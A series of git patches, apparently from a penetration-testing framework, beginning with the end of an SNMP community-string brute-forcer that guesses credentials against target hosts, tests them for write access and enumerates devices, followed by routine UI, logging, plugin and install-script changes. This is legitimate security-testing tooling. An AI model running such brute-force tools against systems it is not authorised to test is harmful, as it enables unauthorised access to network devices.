[p1, p2c] + + #We try each community string + for i,community in enumerate(communities): + #sys.stdout.write('\r{0}'.format('.' * i)) + #sys.stdout.flush() + for ip in ips: + SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate) + + #We read from STDIN if necessary + if options.stdin: + while True: + try: + try: + community=raw_input().strip('\n') + for ip in ips: + SNMPsend(s, packets, ip, options.port, community, options.rate) + except EOFError: + break + except KeyboardInterrupt: + break + + try: + print "Waiting for late packets (CTRL+C to stop)" + sleep(options.timeOut+options.delay) #Waiting in case of late response + except KeyboardInterrupt: + pass + T._Thread__stop() + s.close + + #We remove any duplicates. This relies on the __equal__ + newlist = [] + for i in results: + if i not in newlist: + newlist.append(i) + return newlist + +def get_input(string,non_default_option,options): + #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False) + + if options.interactive: + if raw_input(string).lower() == non_default_option: + return True + else: + return False + else: + print string + return False + +def main(): + + parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) + + parser.set_usage("python snmp-brute.py -t -f ") + #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help()) + parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store') + parser.add_option('-t','--target', help='Host IP', dest='ip', action='store') + parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port) + + + groupAlt = optparse.OptionGroup(parser, "Alternative Options") + groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False) + groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store') + groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False) + + + groupAuto = optparse.OptionGroup(parser, "Automation") + groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True) + groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True) + groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True) + + groupAdvanced = optparse.OptionGroup(parser, "Advanced") + groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate) + groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut) + groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay) + + groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store') + groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False) + + groupOS = optparse.OptionGroup(parser, "Operating Systems") + groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False) + groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False) + groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False) + + parser.add_option_group(groupAdvanced) + parser.add_option_group(groupAuto) + parser.add_option_group(groupOS) + parser.add_option_group(groupAlt) + + (options, arguments) = parser.parse_args() + + communities=[] + ips=[] + + banner(options.colour) #For SPARTA!!! + + if not options.ip and not options.lfile: + #Can't continue without target + parser.print_help() + exit(0) + else: + # Create the list of targets + if options.lfile: + try: + with open(options.lfile) as t: + ips = t.read().splitlines() #Potential DoS + except: + print "Could not open targets file: " + options.lfile + exit(0) + else: + ips.append(options.ip) + + if not options.colour: + defaults.colour=False + + # Create the list of communities + if options.dictionary: # Read from file + with open(options.dictionary) as f: + communities=f.read().splitlines() #Potential DoS + elif options.community: # Single community + communities.append(options.community) + elif options.stdin: # Read from input + communities=[] + else: #if not options.community and not options.dictionary and not options.stdin: + communities=default_communities + + #We ensure that default communities are included + #if 'public' not in communities: + # communities.append('public') + #if 'private' not in communities: + # communities.append('private') + + if options.stdin: + options.interactive=False + + results=[] + + if options.stdin: + print >> sys.stderr, "Reading input for community strings ..." + else: + print >> sys.stderr, "Trying %d community strings ..." % len(communities) + + if options.sploitego: #sploitego method of bruteforce + if ips: + for ip in ips: + for version in ['v1', 'v2c']: + bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate) + result=bf.guess(communities) + for i in result: + r=SNMPResults() + r.addr=(ip,options.port) + r.version=version + r.community=i + results.append(r) + print ip, version+'\t',result + else: + parser.print_help() + + else: + results = password_brutefore(options, communities, ips) + + #We identify whether the community strings are read or write + if results: + printout("\nTrying identified strings for READ-WRITE ...",WHITE) + testSNMPWrite(results,options) + else: + printout("\nNo Community strings found",RED) + exit(0) + + #We attempt to enumerate the router + while options.enum: + SNMPenumeration(select_community(results,options),options) + + #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False): + if get_input("Enumerate with different community? (y/N):",'y',options): + continue + else: + break + + if not options.enum: + select_community(results,options) + + print "Finished!" + +if __name__ == "__main__": + main() From df57c5616dff3f16ebdfbc89f9e482e5feedcbba Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 07:03:30 -0500 Subject: [PATCH 036/450] Cleanup --- ui/dialogs.py | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index 9700c553..fc455540 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -810,13 +810,13 @@ def setupLayout(self): self.hlayout_4.insertStretch(-1,1) self.hlayout_4.addStretch() - def updateFields(self, status='', openPorts='', closedPorts='', filteredPorts='', ipv4='', ipv6='', macaddr='', osMatch='', osAccuracy=''): - self.HostStateText.setText(str(status)) - self.OpenPortsText.setText(str(openPorts)) - self.ClosedPortsText.setText(str(closedPorts)) - self.FilteredPortsText.setText(str(filteredPorts)) - self.IP4Text.setText(str(ipv4)) - self.IP6Text.setText(str(ipv6)) - self.MacText.setText(str(macaddr)) - self.OSNameText.setText(str(osMatch)) - self.OSAccuracyText.setText(str(osAccuracy)) + def updateFields(self, **kwargs): + self.HostStateText.setText(kwargs.get('status') or 'unknown') + self.OpenPortsText.setText(kwargs.`get('openPorts') or 'unknown') + self.ClosedPortsText.setText(kwargs.get('closedPorts') or 'unknown') + self.FilteredPortsText.setText(kwargs.get('filteredPorts') or 'unknown') + self.IP4Text.setText(kwargs.get('ipv4') or 'unknown') + self.IP6Text.setText(kwargs.get('ipv6') or 'unknown') + self.MacText.setText(kwargs.get('macaddr') or 'unknown') + self.OSNameText.setText(kwargs.get('osMatch') or 'unknown') + self.OSAccuracyText.setText(kwargs.get('osAccuracy') or 'unknown') From 64cf9d78840a1bf9bfdb9ed61c94c73a2c54f8b0 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 15:02:51 -0500 Subject: [PATCH 037/450] Cleanup, Add frame of CVE query plugin --- plugins/azureCveQuery/azureCveQuery.conf | 26 +++ plugins/azureCveQuery/azureCveQuery.py | 255 +++++++++++++++++++++++ utilities.py | 24 +++ 3 files changed, 305 insertions(+) create mode 100644 plugins/azureCveQuery/azureCveQuery.conf create mode 100644 plugins/azureCveQuery/azureCveQuery.py create mode 100644 utilities.py diff --git a/plugins/azureCveQuery/azureCveQuery.conf b/plugins/azureCveQuery/azureCveQuery.conf new file mode 100644 index 00000000..82cc92a7 --- /dev/null +++ b/plugins/azureCveQuery/azureCveQuery.conf @@ -0,0 +1,26 @@ +[general] +host: 0.0.0.0 +debug: False +heartbeatInterval: 5 + +[logging] +logFilename: ./azureCveQuery.log + +[redis] +host: 127.0.0.1 +port: 6379 +cacheTtl: 120 + +[api] +port: 8000 + +[cli] +port: 50101 + +[azure] +webServiceUrl: https://XX +webServiceKey: XX + +[metrics] +metricLimit: 64 +averageLimit: 10 diff --git a/plugins/azureCveQuery/azureCveQuery.py b/plugins/azureCveQuery/azureCveQuery.py new file mode 100644 index 00000000..1b530802 --- /dev/null +++ b/plugins/azureCveQuery/azureCveQuery.py @@ -0,0 +1,255 @@ +import asyncio, aioredis, aiohttp, aiomonitor +from six.moves.urllib.parse import quote +from datetime import datetime +import hashlib, json +from apscheduler.schedulers.asyncio import AsyncIOScheduler +from stenoLogging import * +import configparser +from utilities import DictToObject, DictObject +from sanic import Sanic, response +from sanic.views import HTTPMethodView +from sanic.response import text +from sanic_swagger import doc, openapi_blueprint, swagger_blueprint + +app = Sanic(__name__) +app.blueprint(openapi_blueprint) +app.blueprint(swagger_blueprint) + +config = configparser.ConfigParser() +config.read('./mlie.conf') + +redisHost = str(config.get('redis', 'host')) +redisPort = int(config.get('redis', 'port')) +redisCacheTtl = int(config.get('redis', 'cacheTtl')) +bindHost = str(config.get('general', 'host')) +cliPort = int(config.get('cli', 'port')) +apiServerPort = int(config.get('api', 'port')) +azureMlsWebServiceUrl = str(config.get('azure', 'webServiceUrl')) +azureMlsWebServiceKey = str(config.get('azure', 'webServiceKey')) +serviceCycleTime = int(config.get('azureMlsRestService', 'serviceCycleTime')) +metricLimit = int(config.get('metrics', 'metricLimit')) +metricAverageLimit = int(config.get('metrics', 'averageLimit')) +logFile = str(config.get('logging', 'logFilename')) +debug = bool(config.get('general', 'debug')) +heartbeatInterval = int(config.get('general', 'heartbeatInterval')) + +log = get_logger('azureMlsRestServiceLogger', path=logFile) +log.setLevel(logging.INFO) + +azureMlsQuery = { + 'since': '', + 'until': '', + 'date_range': '', + 'statuses[]': ['triggered'], + 'incident_key': '', + 'service_ids[]': [], + 'team_ids[]': [], + 'user_ids[]': [], + 'urgencies[]': [], + 'time_zone': 'UTC', + 'sort_by[]': [], + 'include[]': [] +} + +azureMlsNote = { + 'note': { + 'content': '' + } +} + +azureMlsHeaders = {'Accept': 'application/vnd.json;version=2', + 'Authorization': 'Token token={0}'.format(azureMlsWebServiceKey)} + +metrics = {} + +from functools import wraps +from time import time + +def timing(f): + @wraps(f) + async def wrap(*args, **kw): + ts = time() + result = await f(*args, **kw) + te = time() + tr = te-ts + log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) + try: + testGet = metrics[f.__name__] + except: + metrics[f.__name__] = {} + metrics[f.__name__]['count'] = 0 + metrics[f.__name__]['execution_time'] = [] + metrics[f.__name__]['execution_time'].append(tr) + metricLen = len(metrics[f.__name__]['execution_time']) + if metricLen > metricLimit: + del metrics[f.__name__]['execution_time'][0] + else: + metrics[f.__name__]['count'] = metrics[f.__name__]['count'] + 1 + if metricLen > metricAverageLimit: + metrics[f.__name__]['avg_execution_time'] = sum(metrics[f.__name__]['execution_time']) / metrics[f.__name__]['count'] + return result + return wrap + +# Drop heartbeat +@timing +async def heartbeat(pub): + timeNow = str(datetime.now()) + log.info('Tick tock! The time is: {timeNow}'.format(timeNow=timeNow)) + await publishToRedis(pub, 'heartbeats', {'azureMlsRestService':timeNow}) + +# Enque aquisition of PagerDuty Incidents and publiush them +@timing +@doc.summary("Enque aquisition of PagerDuty Incidents and publiush them") +async def checkPagerDutyIncidents(pub): + async with aiohttp.ClientSession(loop=loop) as session: + data = await fetchFromPagerDuty(azureMlsServiceUrl, azureMlsHeaders, azureMlsQuery, session) + if 'incidents' in data: + incidentDictionaries = DictToObject(data['incidents']) + for incidentDictionary in incidentDictionaries.outputStructure: + log.info("Incident: {id}".format(id=str(incidentDictionary.id))) + fields = {} + fields['id'] = incidentDictionary.id + fields['description'] = incidentDictionary.description + fields['service'] = incidentDictionary.impacted_services[0].id + fields['status'] = incidentDictionary.status + if len(incidentDictionary.teams) > 0: + fields['teams'] = incidentDictionary.teams[0].id + fields['url'] = incidentDictionary.html_url + await publishToRedis(pub, 'incoming-incidents', json.dumps(fields)) + +# Create Note on Incident +@timing +@doc.summary("Create Note on Incident") +async def postNoteToPagerDutyNote(incId, Note): + async with aiohttp.ClientSession(loop=loop) as session: + url = "{serviceUrl}/{incId}/notes".format(serviceUrl=azureMlsServiceUrl, incId=incId) + data = azureMlsNote + await postToPagerDuty(url, azureMlsHeaders, data, session) + +# Receive from Redis +@timing +async def redisMessageReceived(channelObj, pub): + while (await channelObj.wait_message()): + channelName = channelObj.name.decode() + log.info("Message recieved on {channelName}".format(channelName=channelName)) + if channelName == 'outgoing-incidents': + messageJson = await channelObj.get_json() + try: + messageDict = eval(messageJson) + except: + messageDict = messageJson + incId = messageDict['inc_id'] + incMessage = messageDict['catagorical_noise'] + log.info("INC {0} recieved on outgoing-incidents.".format(incId)) + ## postBackToPagerDuty(incId, incMessage) + await deleteFromRedis(pub, messageJson) + +# Execute post to create note on PagerDuty Incident +@timing +async def postToPagerDuty(url: str, headers: dict, data: dict, session): + log.debug('Post {url}'.format(url=url)) + data = quote(str(data)) + async with session.request('POST', url, headers=headers, data=data) as resp: + data = await resp.json() + return data + +# Execute aquisition of PagerDuty Incidents +@timing +async def fetchFromPagerDuty(url: str, headers: dict, params: dict, session) -> dict: + log.debug('Query {url}'.format(url=url)) + params = quote(str(params)) + async with session.request('GET', url, headers=headers, params=params) as resp: + data = await resp.json() + return data + +# Delete from Redis and remove cache items +@timing +async def deleteFromRedis(pub, message): + try: + await setOrUpdateRedisCache(pub, message, delete = True) + pub.delete(str(message)) + except: + raise "Error frlrting from Redis." + +# Publish to Redis Channel +@timing +async def publishToRedis(pub, channel: str, message): + try: + cache = await setOrUpdateRedisCache(pub, message) + if not cache: + log.info("Published to {channel}.".format(channel=channel)) + await pub.publish_json(channel, message) + else: + log.info("Already exists, Not published to {channel}.".format(channel=channel)) + except: + raise "Publish failure to {channel}.".format(channel=channel) + +# Check Redis Cache +@timing +async def setOrUpdateRedisCache(pub, data: dict, delete = False) -> bool: + try: + hash = hashlib.sha256(json.dumps(data).encode()).hexdigest() + compoundName = "cache:" + hash + cacheValue = await pub.exists(compoundName) + if not cacheValue and not delete: + await pub.set(compoundName, "True") + await pub.expire(compoundName, redisCacheTtl) + return False + if delete: + await pub.delete(compoundName) + return True + except: + raise "Issue setting cache in Redis for item: {compoundName}.".format(compoundName) + + +@app.route("/") +@timing +async def getRoot(request): + return await getMetrics(request) + +@app.route("/metrics") +@timing +async def getMetrics(request): + return response.json(metrics) + +@app.route("/config") +@timing +async def getConfig(request): + return response.json(config._sections) + +# Primary event loop +async def mainloop(loop): + + # Setup Redis + pub = await aioredis.create_redis('redis://{redisHost}:{redisPort}'.format(redisHost=redisHost, redisPort=redisPort)) + sub = await aioredis.create_redis('redis://{redisHost}:{redisPort}'.format(redisHost=redisHost, redisPort=redisPort)) + outgoingIncidentsSub = await sub.subscribe('outgoing-incidents') + outgoingIncidentsChannel = outgoingIncidentsSub[0] + incomingIncidentsSub = await sub.subscribe('incoming-incidents') + incomingIncidentsChannel = incomingIncidentsSub[0] + + # Setup Scheduler + scheduler = AsyncIOScheduler() + scheduler.add_job(heartbeat, args=(pub,), trigger='interval', seconds=heartbeatInterval) + scheduler.add_job(checkPagerDutyIncidents, args=(pub,), trigger='interval', seconds=serviceCycleTime) + scheduler.start() + + # Monitor Outgoing Channel + await asyncio.ensure_future(redisMessageReceived(outgoingIncidentsChannel, pub)) + + # Shutdown + sub.close() + pub.close() + + +if __name__ == '__main__': + try: + loop = asyncio.get_event_loop() + webSvr = app.create_server(host=bindHost, port=apiServerPort) + + with aiomonitor.start_monitor(loop=loop, host=bindHost, port=cliPort, console_enabled=False): + webSvrTask = asyncio.ensure_future(webSvr) + loop.run_until_complete(mainloop(loop=loop)) + loop.close() + except (KeyboardInterrupt, SystemExit): + pass diff --git a/utilities.py b/utilities.py new file mode 100644 index 00000000..bf016df4 --- /dev/null +++ b/utilities.py @@ -0,0 +1,24 @@ +class DictObject(object): + ''' + Simple conversion to a Class. + ''' + def __init__(self, d): + for a, b in d.items(): + if isinstance(b, (list, tuple)): + setattr(self, a, [DictObject(x) if isinstance(x, dict) else x for x in b]) + else: + setattr(self, a, DictObject(b) if isinstance(b, dict) else b) + +class DictToObject(object): + def __init__(self, inputStructure:list): + self.outputStructure = self.create(inputStructure) + + def create(self, inputList:list)-> list: + outputStructure = [] + for entry in inputList: + outputStructure.append(DictObject(entry)) + return outputStructure + + def __repr__(self): + return '<{0}.incidents={1} object at {2}>'.format( + self.__class__.__name__, self.outputStructure, hex(id(self))) From b5653e0b881c23a1799dff876d9e3143540771e9 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 15 Oct 2018 09:22:03 -0500 Subject: [PATCH 038/450] Bug fixes, more async, logging, etc --- app/auxiliary.py | 1 + deps/ubuntu.sh | 3 ++- legion.py | 42 +++++++++++++++++++++++++++++++++----- qtLogging.py | 16 +++++++++++++++ test.py | 52 ++++++++++++++++++++++++++++++++++++++++++++++++ ui/dialogs.py | 6 +++--- ui/gui.py | 9 ++++++--- ui/view.py | 2 +- 8 files changed, 118 insertions(+), 13 deletions(-) create mode 100644 qtLogging.py create mode 100644 test.py diff --git a/app/auxiliary.py b/app/auxiliary.py index e5b9a370..e3c1865e 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -26,6 +26,7 @@ import hashlib, json from apscheduler.schedulers.asyncio import AsyncIOScheduler from stenoLogging import * +from qtLogging import * from functools import wraps from time import time import io diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh index ecea36ad..ff425a18 100644 --- a/deps/ubuntu.sh +++ b/deps/ubuntu.sh @@ -5,4 +5,5 @@ echo "Installing python dependancies..." apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* python3-pip3 -y echo "Installing external binaryies and application dependancies..." apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb gksu -y -echo pip3 install aiosync aiohttp aioredis aiomonitor apscheduler-y +echo "Installing Pythin Libraries..." +pip3 install asyncio aiohttp aioredis aiomonitor apscheduler Quamash diff --git a/legion.py b/legion.py index 893c5d1c..f36dd889 100644 --- a/legion.py +++ b/legion.py @@ -41,6 +41,8 @@ from ui.view import * from controller.controller import * from stenoLogging import * +import quamash +import asyncio # this class is used to catch events such as arrow key presses or close window (X) class MyEventFilter(QObject): @@ -78,18 +80,16 @@ def eventFilter(self, receiver, event): else: return super(MyEventFilter,self).eventFilter(receiver, event) # normal event processing -if __name__ == "__main__": - - app = QApplication(sys.argv) +def master(): myFilter = MyEventFilter() # to capture events app.installEventFilter(myFilter) MainWindow = QtWidgets.QMainWindow() app.setWindowIcon(QIcon('./images/icons/legion_medium.svg')) - + ui = Ui_MainWindow() ui.setupUi(MainWindow) - try: + try: qss_file = open('./ui/legion.qss').read() except IOError as e: log.info("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") @@ -105,3 +105,35 @@ def eventFilter(self, receiver, event): MainWindow.show() sys.exit(app.exec_()) + + +if __name__ == "__main__": + + app = QApplication(sys.argv) + loop = quamash.QEventLoop(app) + asyncio.set_event_loop(loop) + + with loop: + myFilter = MyEventFilter() # to capture events + app.installEventFilter(myFilter) + MainWindow = QtWidgets.QMainWindow() + app.setWindowIcon(QIcon('./images/icons/legion_medium.svg')) + + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + + try: + qss_file = open('./ui/legion.qss').read() + except IOError as e: + log.info("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + exit(0) + + MainWindow.setStyleSheet(qss_file) + + logic = Logic() # Model prep (logic, db and models) + view = View(ui, MainWindow) # View prep (gui) + controller = Controller(view, logic) # Controller prep (communication between model and view) + + MainWindow.show() + + loop.run_forever() diff --git a/qtLogging.py b/qtLogging.py new file mode 100644 index 00000000..d4d079b5 --- /dev/null +++ b/qtLogging.py @@ -0,0 +1,16 @@ +import sys +from PyQt5.QtGui import * # for filters dialog +from PyQt5.QtWidgets import * +from PyQt5 import QtWidgets, QtGui +from PyQt5 import QtCore, QtGui +import logging + +class QPlainTextEditLogger(logging.Handler): + def __init__(self, parent): + super().__init__() + self.widget = QtWidgets.QPlainTextEdit(parent) + self.widget.setReadOnly(True) + + def emit(self, record): + msg = self.format(record) + self.widget.appendPlainText(msg) diff --git a/test.py b/test.py new file mode 100644 index 00000000..fce10f47 --- /dev/null +++ b/test.py @@ -0,0 +1,52 @@ +import sys +from PyQt5 import QtWidgets +import logging + +# Uncomment below for terminal log messages +# logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(name)s - %(levelname)s - %(message)s') + +class QTextEditLogger(logging.Handler): + def __init__(self, parent): + super().__init__() + self.widget = QtWidgets.QPlainTextEdit(parent) + self.widget.setReadOnly(True) + + def emit(self, record): + msg = self.format(record) + self.widget.appendPlainText(msg) + + +class MyDialog(QtWidgets.QDialog, QtWidgets.QPlainTextEdit): + def __init__(self, parent=None): + super().__init__(parent) + + logTextBox = QTextEditLogger(self) + # You can format what is printed to text box + logTextBox.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')) + logging.getLogger().addHandler(logTextBox) + # You can control the logging level + logging.getLogger().setLevel(logging.DEBUG) + + self._button = QtWidgets.QPushButton(self) + self._button.setText('Test Me') + + layout = QtWidgets.QVBoxLayout() + # Add the new logging box widget to the layout + layout.addWidget(logTextBox.widget) + layout.addWidget(self._button) + self.setLayout(layout) + + # Connect signal to slot + self._button.clicked.connect(self.test) + + def test(self): + logging.debug('damn, a bug') + logging.info('something to remember') + logging.warning('that\'s not right') + logging.error('foobar') + +app = QtWidgets.QApplication(sys.argv) +dlg = MyDialog() +dlg.show() +dlg.raise_() +sys.exit(app.exec_()) diff --git a/ui/dialogs.py b/ui/dialogs.py index fc455540..06a9559b 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -812,9 +812,9 @@ def setupLayout(self): def updateFields(self, **kwargs): self.HostStateText.setText(kwargs.get('status') or 'unknown') - self.OpenPortsText.setText(kwargs.`get('openPorts') or 'unknown') - self.ClosedPortsText.setText(kwargs.get('closedPorts') or 'unknown') - self.FilteredPortsText.setText(kwargs.get('filteredPorts') or 'unknown') + self.OpenPortsText.setText(str(kwargs.get('openPorts') or 0)) + self.ClosedPortsText.setText(str(kwargs.get('closedPorts') or 0)) + self.FilteredPortsText.setText(str(kwargs.get('filteredPorts') or 0)) self.IP4Text.setText(kwargs.get('ipv4') or 'unknown') self.IP6Text.setText(kwargs.get('ipv6') or 'unknown') self.MacText.setText(kwargs.get('macaddr') or 'unknown') diff --git a/ui/gui.py b/ui/gui.py index d3b474e0..3194e9cc 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -14,6 +14,8 @@ from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtGui import QColor from ui.dialogs import * # for the screenshots (image viewer) +from qtLogging import * +import logging try: _fromUtf8 = QtCore.QString.fromUtf8 @@ -250,10 +252,11 @@ def setupBottomPanel(self): # Terminal Tab self.TerminalTab = QtWidgets.QWidget() self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) - self.TerminalOutputTextView = QtWidgets.QPlainTextEdit(self.TerminalTab) - self.TerminalOutputTextView.setReadOnly(False) + #self.TerminalOutputTextView = QtWidgets.QPlainTextEdit(self.TerminalTab) + self.TerminalOutputTextView = QPlainTextEditLogger(self.TerminalTab) + log.addHandler(self.TerminalOutputTextView) self.TerminalTabLayout = QtWidgets.QHBoxLayout(self.TerminalTab) - self.TerminalTabLayout.addWidget(self.TerminalOutputTextView) + #self.TerminalTabLayout.addWidget(self.TerminalOutputTextView) self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) # Python Tab diff --git a/ui/view.py b/ui/view.py index 01d1f805..fc59a2f2 100644 --- a/ui/view.py +++ b/ui/view.py @@ -988,7 +988,7 @@ def updateInformationView(self, hostIP): else: counterFiltered = 65535 - counterOpen - counterClosed - self.hostInfoWidget.updateFields(host.status, counterOpen, counterClosed, counterFiltered, host.ipv4, host.ipv6, host.macaddr, host.os_match, host.os_accuracy) + self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.os_match, osAccuracy=host.os_accuracy) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] From a79eb994df9a59e071154211b4147adb0ca3f1db Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 15 Oct 2018 09:37:21 -0500 Subject: [PATCH 039/450] Dep bug fix, Add pull based reinit --- .justcloned | 0 deps/ubuntu.sh | 4 ++-- startLegion.sh | 9 +++++++-- 3 files changed, 9 insertions(+), 4 deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh index ff425a18..c40d9af8 100644 --- a/deps/ubuntu.sh +++ b/deps/ubuntu.sh @@ -2,8 +2,8 @@ echo "Updating Apt database..." apt-get -qq update echo "Installing python dependancies..." -apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* python3-pip3 -y +apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* python3-pip -y echo "Installing external binaryies and application dependancies..." apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb gksu -y -echo "Installing Pythin Libraries..." +echo "Installing Python Libraries..." pip3 install asyncio aiohttp aioredis aiomonitor apscheduler Quamash diff --git a/startLegion.sh b/startLegion.sh index 82368ac5..624fa142 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -8,10 +8,10 @@ then export DISPLAY=localhost:0.0 fi -if [ ! -f ".initialized" ] +if [ ! -f ".initialized" ] | [ -f ".justcloned" ] then releaseOutput=`cat /etc/*release*` # | grep -i 'ubuntu' | wc -l - echo "First run here. Let's try to automatically install all the dependancies..." + echo "First run here (or you did a pull to update). Let's try to automatically install all the dependancies..." if [ ! -d "tmp" ] then mkdir tmp @@ -24,9 +24,11 @@ then echo "Detected Ubuntu on WSL" ./deps/ubuntu-wsl.sh touch .initialized + rm .justcloned -f else echo "Not Ubuntu. Install deps manually for now" touch .initialized + rm .justcloned -f exit 0 fi else @@ -36,13 +38,16 @@ then echo "Detected Ubuntu" ./deps/ubuntu.sh touch .initialized + rm .justcloned -f elif [[ $releaseOutput == *"Parrot"* ]] then ./deps/ubuntu.sh touch .initialized + rm .justcloned -f else echo "Not Ubuntu. Install deps manually for now" touch .initialized + rm .justcloned -f exit 0 fi fi From b3cfdcc0d84d68a31c9fef959d6a06de1ea070c7 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 15 Oct 2018 21:04:07 -0500 Subject: [PATCH 040/450] Bug fixes, cleanup, in application logging panel, etc --- app/auxiliary.py | 3 +- legion.py | 1 - plugins/azureCveQuery/azureCveQuery.py | 2 +- test.py | 52 -------------------- ui/gui.py | 38 ++++++-------- .justcloned => utilities/__init__.py | 0 qtLogging.py => utilities/qtLogging.py | 7 ++- stenoLogging.py => utilities/stenoLogging.py | 0 8 files changed, 24 insertions(+), 79 deletions(-) delete mode 100644 test.py rename .justcloned => utilities/__init__.py (100%) rename qtLogging.py => utilities/qtLogging.py (57%) rename stenoLogging.py => utilities/stenoLogging.py (100%) diff --git a/app/auxiliary.py b/app/auxiliary.py index e3c1865e..42d9571e 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -25,8 +25,7 @@ from datetime import datetime import hashlib, json from apscheduler.schedulers.asyncio import AsyncIOScheduler -from stenoLogging import * -from qtLogging import * +from utilities.stenoLogging import * from functools import wraps from time import time import io diff --git a/legion.py b/legion.py index f36dd889..cefe5c2f 100644 --- a/legion.py +++ b/legion.py @@ -40,7 +40,6 @@ from ui.gui import * from ui.view import * from controller.controller import * -from stenoLogging import * import quamash import asyncio diff --git a/plugins/azureCveQuery/azureCveQuery.py b/plugins/azureCveQuery/azureCveQuery.py index 1b530802..88da06d3 100644 --- a/plugins/azureCveQuery/azureCveQuery.py +++ b/plugins/azureCveQuery/azureCveQuery.py @@ -3,7 +3,7 @@ from datetime import datetime import hashlib, json from apscheduler.schedulers.asyncio import AsyncIOScheduler -from stenoLogging import * +from utilities.stenoLogging import * import configparser from utilities import DictToObject, DictObject from sanic import Sanic, response diff --git a/test.py b/test.py deleted file mode 100644 index fce10f47..00000000 --- a/test.py +++ /dev/null @@ -1,52 +0,0 @@ -import sys -from PyQt5 import QtWidgets -import logging - -# Uncomment below for terminal log messages -# logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(name)s - %(levelname)s - %(message)s') - -class QTextEditLogger(logging.Handler): - def __init__(self, parent): - super().__init__() - self.widget = QtWidgets.QPlainTextEdit(parent) - self.widget.setReadOnly(True) - - def emit(self, record): - msg = self.format(record) - self.widget.appendPlainText(msg) - - -class MyDialog(QtWidgets.QDialog, QtWidgets.QPlainTextEdit): - def __init__(self, parent=None): - super().__init__(parent) - - logTextBox = QTextEditLogger(self) - # You can format what is printed to text box - logTextBox.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')) - logging.getLogger().addHandler(logTextBox) - # You can control the logging level - logging.getLogger().setLevel(logging.DEBUG) - - self._button = QtWidgets.QPushButton(self) - self._button.setText('Test Me') - - layout = QtWidgets.QVBoxLayout() - # Add the new logging box widget to the layout - layout.addWidget(logTextBox.widget) - layout.addWidget(self._button) - self.setLayout(layout) - - # Connect signal to slot - self._button.clicked.connect(self.test) - - def test(self): - logging.debug('damn, a bug') - logging.info('something to remember') - logging.warning('that\'s not right') - logging.error('foobar') - -app = QtWidgets.QApplication(sys.argv) -dlg = MyDialog() -dlg.show() -dlg.raise_() -sys.exit(app.exec_()) diff --git a/ui/gui.py b/ui/gui.py index 3194e9cc..410fd942 100644 --- 